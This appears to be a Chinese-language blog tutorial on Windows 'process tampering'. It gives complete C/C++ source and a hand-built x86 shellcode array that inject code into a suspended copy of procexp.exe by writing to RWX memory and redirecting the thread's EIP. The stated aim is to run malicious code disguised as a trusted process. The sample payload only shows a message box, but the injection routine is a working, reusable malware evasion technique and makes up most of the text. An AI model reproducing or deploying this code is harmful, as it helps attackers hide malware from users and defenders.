Windows黑客编程之进程篡改

描述

• 向目标进程中注入shellcode并跳转运行，披着安全进程的外皮执行恶意代码

代码

调用

• 写了一段弹窗的shellcode，需要用汇编写功能，再转化为机器码

#include "stdafx.h"
#include "ReplaceProcess.h"

// 弹窗 Shellcode
char data[624] = {
	0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xFC, 0x60, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x7D,
	0x08, 0x81, 0xE7, 0x00, 0x00, 0xFF, 0xFF, 0x66, 0x81, 0x3F, 0x4D, 0x5A, 0x75, 0x12, 0x8B, 0xF7,
	0x03, 0x76, 0x3C, 0x81, 0x3E, 0x50, 0x45, 0x00, 0x00, 0x75, 0x05, 0x89, 0x7D, 0xFC, 0xEB, 0x10,
	0x81, 0xEF, 0x00, 0x00, 0x01, 0x00, 0x81, 0xFF, 0x00, 0x00, 0x00, 0x70, 0x72, 0x02, 0xEB, 0xD7,
	0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC2, 0x04, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xFC, 0x60, 0xC7,
	0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B,
	0x40, 0x1C, 0x8B, 0x00, 0x8B, 0x40, 0x08, 0x89, 0x45, 0xFC, 0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC3,
	0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xFC, 0x60, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x64, 0xA1,
	0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x00, 0x8B, 0x00, 0x8B, 0x40,
	0x08, 0x89, 0x45, 0xFC, 0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC3, 0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xFC,
	0x60, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x64, 0x8B, 0x35, 0x30, 0x00, 0x00, 0x00, 0x8B,
	0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x38, 0x4F, 0x18,
	0x75, 0xF3, 0x89, 0x45, 0xFC, 0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC3, 0x55, 0x8B, 0xEC, 0x83, 0xC4,
	0xF8, 0x60, 0x33, 0xC9, 0x8B, 0x55, 0x0C, 0x8A, 0x02, 0x0A, 0xC0, 0x74, 0x04, 0x41, 0x42, 0xEB,
	0xF6, 0x89, 0x4D, 0xF8, 0x8B, 0x75, 0x08, 0x03, 0x76, 0x3C, 0x8B, 0x76, 0x78, 0x03, 0x75, 0x08,
	0x33, 0xD2, 0x8B, 0x5E, 0x20, 0x03, 0x5D, 0x08, 0x56, 0x8B, 0x75, 0x0C, 0x8B, 0x3B, 0x03, 0x7D,
	0x08, 0x8B, 0x4D, 0xF8, 0xF3, 0xA6, 0x75, 0x03, 0x5E, 0xEB, 0x0A, 0x5E, 0x42, 0x83, 0xC3, 0x04,
	0x3B, 0x56, 0x18, 0x72, 0xE3, 0x8B, 0x5E, 0x24, 0x03, 0x5D, 0x08, 0xB8, 0x02, 0x00, 0x00, 0x00,
	0xF7, 0xE2, 0x03, 0xD8, 0x0F, 0xB7, 0x03, 0x8B, 0x5E, 0x1C, 0x03, 0x5D, 0x08, 0xB9, 0x04, 0x00,
	0x00, 0x00, 0xF7, 0xE1, 0x03, 0xD8, 0x8B, 0x03, 0x03, 0x45, 0x08, 0x89, 0x45, 0xFC, 0x61, 0x8B,
	0x45, 0xFC, 0xC9, 0xC2, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0x73,
	0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63,
	0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72,
	0x61, 0x72, 0x79, 0x41, 0x00, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78, 0x41,
	0x00, 0x49, 0x20, 0x61, 0x6D, 0x20, 0x44, 0x65, 0x6D, 0x6F, 0x6E, 0x47, 0x61, 0x6E, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x65, 0x6D, 0x6F, 0x6E,
	0x47, 0x61, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x60, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x81, 0xEB, 0xB6, 0x11, 0x40, 0x00, 0xE8, 0xAE, 0xFE,
	0xFF, 0xFF, 0x0B, 0xC0, 0x75, 0x05, 0xE9, 0x9A, 0x00, 0x00, 0x00, 0x89, 0x83, 0x46, 0x11, 0x40,
	0x00, 0x8D, 0x83, 0x59, 0x11, 0x40, 0x00, 0x50, 0xFF, 0xB3, 0x46, 0x11, 0x40, 0x00, 0xE8, 0xE8,
	0xFE, 0xFF, 0xFF, 0x0B, 0xC0, 0x75, 0x02, 0xEB, 0x7C, 0x89, 0x83, 0xA4, 0x11, 0x40, 0x00, 0x8D,
	0x83, 0x68, 0x11, 0x40, 0x00, 0x50, 0xFF, 0xB3, 0x46, 0x11, 0x40, 0x00, 0xFF, 0x93, 0xA4, 0x11,
	0x40, 0x00, 0x0B, 0xC0, 0x75, 0x02, 0xEB, 0x5D, 0x89, 0x83, 0xA8, 0x11, 0x40, 0x00, 0x8D, 0x83,
	0x4E, 0x11, 0x40, 0x00, 0x50, 0xFF, 0x93, 0xA8, 0x11, 0x40, 0x00, 0x0B, 0xC0, 0x75, 0x02, 0xEB,
	0x44, 0x89, 0x83, 0x4A, 0x11, 0x40, 0x00, 0x8D, 0x83, 0x75, 0x11, 0x40, 0x00, 0x50, 0xFF, 0xB3,
	0x4A, 0x11, 0x40, 0x00, 0xFF, 0x93, 0xA4, 0x11, 0x40, 0x00, 0x0B, 0xC0, 0x75, 0x02, 0xEB, 0x25,
	0x89, 0x83, 0xAC, 0x11, 0x40, 0x00, 0x8D, 0x83, 0x81, 0x11, 0x40, 0x00, 0x8D, 0x8B, 0x9B, 0x11,
	0x40, 0x00, 0x6A, 0x04, 0x51, 0x50, 0x6A, 0x00, 0xFF, 0x93, 0xAC, 0x11, 0x40, 0x00, 0x83, 0xF8,
	0x06, 0x74, 0x02, 0x61, 0xC3, 0x61, 0xE9, 0xDE, 0xC4, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00
};

int _tmain(int argc, _TCHAR* argv[])
{
	if (FALSE == ReplaceProcess("C:\\Tools\\procexp.exe", data, 624, 432))
	{
		printf("Replace Process Error.\n");
	}
	printf("Replace Process OK.\n");
	system("pause");
	return 0;
}

实现

• 用挂起主线程的方式创建目标进程
• 在目标进程空间中申请一段内存并写入shellcode
• 获取目标进程所有线程的上下文，修改上下文eip寄存器的值
• 恢复主线程运行

#include "stdafx.h"
#include "ReplaceProcess.h"


void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}

BOOL ReplaceProcess(char* pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
{
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	CONTEXT threadContext = { 0 };
	BOOL bRet = FALSE;
	::RtlZeroMemory(&si, sizeof(si));
	::RtlZeroMemory(&pi, sizeof(pi));
	::RtlZeroMemory(&threadContext, sizeof(threadContext));
	si.cb = sizeof(si);

	bRet = ::CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
	if (FALSE == bRet)
	{
		ShowError("CreateProcess");
		return FALSE;
	}

	LPVOID lpDestBaseAddr = ::VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (NULL == lpDestBaseAddr)
	{
		ShowError("VirtualAllocEx");
		return FALSE;
	}

	bRet = ::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL);
	if (FALSE == bRet)
	{
		ShowError("WriteProcessError");
		return FALSE;
	}

	threadContext.ContextFlags = CONTEXT_FULL;
	bRet = ::GetThreadContext(pi.hThread, &threadContext);
	if (FALSE == bRet)
	{
		ShowError("GetThreadContext");
		return FALSE;
	}

	threadContext.Eip = (DWORD)lpDestBaseAddr + dwRunOffset;

	bRet = ::SetThreadContext(pi.hThread, &threadContext);
	if (FALSE == bRet)
	{
		ShowError("SetThreadContext");
		return FALSE;
	}

	::ResumeThread(pi.hThread);

	return TRUE;
}

结果

• 目标进程选择ProcExp，启动进程篡改程序，可以看到立即弹窗，并且task manager中显示的是ProcExp的信息，成功篡改目标进程
  
• 结束篡改程序，被篡改的进程依然存在